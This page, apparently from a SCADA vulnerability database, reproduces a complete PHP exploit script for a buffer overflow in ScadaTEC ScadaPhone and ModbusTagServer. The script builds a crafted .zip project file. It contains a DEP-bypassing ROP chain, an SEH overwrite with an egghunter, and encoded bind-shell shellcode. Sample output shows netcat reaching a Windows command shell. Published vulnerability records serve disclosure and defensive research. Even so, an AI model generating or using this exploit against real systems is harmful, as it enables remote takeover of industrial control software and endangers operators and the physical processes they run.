SCADA Vulnerabilities & Exposures (SVE)

CRITIFENCE® SCADA Vulnerabilities and Exposures Database (SVE)

[SVE-268321819] ScadaTEC ModbusTagServer & ScadaPhone (.zip) Buffer Overflow Exploit (0day)

Date Type Platform Author EDB-ID CVE-ID OSVDB-ID Download App SIS Signature
2011-09-12OPCwindowsmr_me178172011-453575375N/AN/A

Source

						
							
								
<?php
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ScadaTEC ModbusTagServer & ScadaPhone (.zip) buffer overflow exploit (0day)
Date: 09/09/2011
Author: mr_me (@net__ninja)
Vendor: http://www.scadatec.com/
ScadaPhone Version: <= 5.3.11.1230
ModbusTagServer Version: <= 4.1.1.81
Tested on: Windows XP SP3 NX=AlwaysOn/OptIn
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Notes: 
- The ScadaPhone exploit is a DEP bypass under windows XP sp3 only
- The ModbusTagServer exploit does not bypass dep
- To trigger this vulnerability, you must 'load' a project from a zip file.

Feel free to improve it if you want. Example usage:

[mr_me@neptune scadatec]$ php zip.php -t scadaphone
[mr_me@neptune scadatec]$ nc -v 192.168.114.141 4444
Connection to 192.168.114.141 4444 port [tcp/krb524] succeeded!
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\ScadaTEC\ScadaPhone\Projects>
[mr_me@neptune scadatec]$ php zip.php -t modbustagserver
[mr_me@neptune scadatec]$ nc -v 192.168.114.141 4444
Connection to 192.168.114.141 4444 port [tcp/krb524] succeeded!
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\ScadaTEC\ModbusTagServer\Projects>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'The reason they call it the American Dream is because you have to be asleep 
to believe it.' ~ George Carlin
*/

if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <software>
software:      target software
Example:
php ".$argv[0]." -t scadaphone
php ".$argv[0]." -t modbustagserver
-----------------------------------------------------------------------------
"); die; }

function setArgs($argv){
    $_ARG = array();
    foreach ($argv as $arg){
        if (ereg("--([^=]+)=(.*)", $arg, $reg)){
            $_ARG[$reg[1]] = $reg[2];
        }elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){
            $_ARG[$reg[1]] = "true";
        }else {
            $_ARG["input"][] = $arg;
        }
    }
    return $_ARG;
}

$myArgs = setArgs($argv);
$target = $myArgs["input"]["1"];

$lf_header = "\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\xb7\xac\xce\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00";

$cdf_header = "\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xb7\xac\xce\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

$efcdr_record = "\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00";

$___offset = 4064;

// bind shell on port 4444
$___sc = "\x90\x90\x90\x90".
"\xd9\xc7\xb8\x94\x32\x09\x43\xd9\x74\x24\xf4\x5b\x31\xc9\xb1".
"\x56\x31\x43\x18\x83\xeb\xfc\x03\x43\x80\xd0\xfc\xbf\x40\x9d".
"\xff\x3f\x90\xfe\x76\xda\xa1\x2c\xec\xae\x93\xe0\x66\xe2\x1f".
"\x8a\x2b\x17\x94\xfe\xe3\x18\x1d\xb4\xd5\x17\x9e\x78\xda\xf4".
"\x5c\x1a\xa6\x06\xb0\xfc\x97\xc8\xc5\xfd\xd0\x35\x25\xaf\x89".
"\x32\x97\x40\xbd\x07\x2b\x60\x11\x0c\x13\x1a\x14\xd3\xe7\x90".
"\x17\x04\x57\xae\x50\xbc\xdc\xe8\x40\xbd\x31\xeb\xbd\xf4\x3e".
"\xd8\x36\x07\x96\x10\xb6\x39\xd6\xff\x89\xf5\xdb\xfe\xce\x32".
"\x03\x75\x25\x41\xbe\x8e\xfe\x3b\x64\x1a\xe3\x9c\xef\xbc\xc7".
"\x1d\x3c\x5a\x83\x12\x89\x28\xcb\x36\x0c\xfc\x67\x42\x85\x03".
"\xa8\xc2\xdd\x27\x6c\x8e\x86\x46\x35\x6a\x69\x76\x25\xd2\xd6".
"\xd2\x2d\xf1\x03\x64\x6c\x9e\xe0\x5b\x8f\x5e\x6e\xeb\xfc\x6c".
"\x31\x47\x6b\xdd\xba\x41\x6c\x22\x91\x36\xe2\xdd\x19\x47\x2a".
"\x1a\x4d\x17\x44\x8b\xed\xfc\x94\x34\x38\x52\xc5\x9a\x92\x13".
"\xb5\x5a\x42\xfc\xdf\x54\xbd\x1c\xe0\xbe\xc8\x1a\x2e\x9a\x99".
"\xcc\x53\x1c\x0c\x51\xdd\xfa\x44\x79\x8b\x55\xf0\xbb\xe8\x6d".
"\x67\xc3\xda\xc1\x30\x53\x52\x0c\x86\x5c\x63\x1a\xa5\xf1\xcb".
"\xcd\x3d\x1a\xc8\xec\x42\x37\x78\x66\x7b\xd0\xf2\x16\xce\x40".
"\x02\x33\xb8\xe1\x91\xd8\x38\x6f\x8a\x76\x6f\x38\x7c\x8f\xe5".
"\xd4\x27\x39\x1b\x25\xb1\x02\x9f\xf2\x02\x8c\x1e\x76\x3e\xaa".
"\x30\x4e\xbf\xf6\x64\x1e\x96\xa0\xd2\xd8\x40\x03\x8c\xb2\x3f".
"\xcd\x58\x42\x0c\xce\x1e\x4b\x59\xb8\xfe\xfa\x34\xfd\x01\x32".
"\xd1\x09\x7a\x2e\x41\xf5\x51\xea\x71\xbc\xfb\x5b\x1a\x19\x6e".
"\xde\x47\x9a\x45\x1d\x7e\x19\x6f\xde\x85\x01\x1a\xdb\xc2\x85".
"\xf7\x91\x5b\x60\xf7\x06\x5b\xa1";

if(strcmp($target,"scadaphone") === 0){

	// add esp 418; retn
	$___pivot = "\x0b\x33\xc6\x01";
	$___jmp = "\xeb\x06HI";

	$___rop = "";
	$___rop .=
	"\x1c\x05\x03\x10".	// xor edx,edx; retn
	"\xa2\xce\x02\x10".	// pop eax; retn
	"\xf4\x11\x6e\x6d".	// &VirtualProtect
	"\xa9\x4e\x01\x10".	// mov eax,[eax]; retn
	"\xd7\xbf\x01\x10".	// push eax; mov eax,[edx*4+10036948]; and eax,esi; pop esi; pop ebx; retn
	"\xc0\xff\xff\xff".	// special sauce ----------------------------------------------^^
	"\x1e\xe0\x02\x10".	// add edx,ebx; pop ebx; retn 10
	"LOLZ".			// junk
	"\xea\x37\xc6\x01".	// neg edx; neg eax; sbb edx,0; pop ebx; retn 10
	"CAFEBABE".		// junk
	"CAFEBABE".		// junk
	"\xbf\x52\xc6\x01".	// .data writable ------------------^^
	"\xa2\xce\x02\x10".	// pop eax; retn
	"CAFEBABE".		// junk
	"CAFEBABE".		// junk
	"\x17\x32\xc6\x01".	// ptr to 0x400 
	"\xa9\x4e\x01\x10".	// mov eax,[eax]; retn
	"\xe4\x85\x02\x10".	// xchg eax,ebx; add dl,[eax]; mov [eax+8],11; mov eax,13; retn
	"\xa2\xce\x02\x10".	// pop eax; retn
	"\x90\x90\x90\x90".	// nops
	"\x53\x54\x10\x10".	// pop edi; retn
	"\x54\x54\x10\x10".	// retn
	"\x01\xec\x02\x10".	// pop ecx; retn
	"\xc0\x52\xc6\x01".	// .data writable
	"\x03\xc0\x17\x10".	// pop ebp; retn
	"\x44\xcb\x2b\x10".	// ptr to 'push esp; ret'
	"\xb7\xc9\x27\x10";	// pushad; retn

	$___exploit = str_repeat("\x41",57).
	$___rop;
	$___exploit .= str_repeat("\x90",277-strlen($___exploit)).
	$___jmp.
	$___pivot.
	$___sc;
	$___exploit .= str_repeat("\x41",$___offset-strlen($___exploit))."\x1e\x74\x78\x74";

}else if(strcmp($target,"modbustagserver") === 0) {

	$__hunter = "\x66\x81\xcA\xff\x0f\x42\x52\x6a".
	"\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8".
    	"OMFG".
    	"\x8b\xfa\xaf\x75\xeA\xaf\x75\xe7\xff\xe7";

	$___nseh = "\xeb\xceHI";

	// pop esi; pop ebx; retn
	$___seh = "\xac\x14\x40\x00"; 

	$___exploit = str_repeat("\x41",229).
	$__hunter.
	str_repeat("\x44",48-strlen($__hunter)).
	$___nseh.
	$___seh.
	str_repeat("\x44",100).
	"OMFGOMFG".
	$___sc;
	$___exploit .= 
	str_repeat("\x41",$___offset-strlen($___exploit))."\x1e\x74\x78\x74";

}else{
	exit(0);
}

$_____boom = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record;
file_put_contents("scadatec.zip",$_____boom);
?>